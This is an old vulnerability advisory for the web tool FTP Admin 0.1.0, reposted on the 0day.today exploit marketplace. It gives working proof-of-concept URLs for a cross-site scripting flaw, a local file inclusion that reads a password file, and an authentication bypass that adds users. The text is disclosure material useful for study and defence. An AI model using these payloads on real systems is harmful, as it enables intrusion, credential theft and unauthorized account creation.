0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
FTP Admin 0.1.0 (LFI/XSS/AB) Multiple Remote Vulnerabilities
[============================================================
FTP Admin 0.1.0 (LFI/XSS/AB) Multiple Remote Vulnerabilities
============================================================
FTP Admin v0.1.0 - MULTIPLE VULNERABILITIES
by Omni
1) Infos
---------
Date : 2007-11-28
Product : FTP Admin
Version : v0.1.0
Vendor : http://sourceforge.net/projects/ftpadmin/
Vendor Status : 2007-11-30 Informed!
Description : FTP admin is a web-based user administration tool, for usage in combination with vsftpd. FTP admin
requires sudo. Features include modification of users and generation of user passwords.
Source : omnipresent - omni
2) Security Issues
-------------------
--- [ XSS ] ---
===============================================
I think that is better let you see a PoC instead of explain where is the bug.. If you want to know it just look at the
source code.
--- [ PoC ] ---
===============
http://localhost/ft/index.php?page=error&error=<b>...</b>
http://localhost/ft/index.php?page=error&error=<script>alert(1)</script>
--- [ Local File Inclusion ] ---
================================
Take a look in index.php, line 49:
include("$page.php");
Remembe that you have to log in to made local file inclusion (loggedin = true -> register_global = On)
[ Remembe that ]
if(!is_file($page . ".php") || (!is_readable($page . ".php"))) {
$page = "error";
$error = "Page does not exist or is not readable\n";
}
}
[ /Remembe that ]
--- [ PoC ] ---
===============
http://localhost/ft/index.php?page=pass.txt%00&loggedin=true
To see pass.txt ...
--- [ Admin Bypass ] ---
================================
Today I'm too lazy to explain what's wrong.. so take a look in the source code and watch the var $loggedin !!
--- [ PoC ] ---
===============
To add a user...
http://localhost/ft/index.php?page=add&loggedin=true
# 0day.today [2024-09-21] #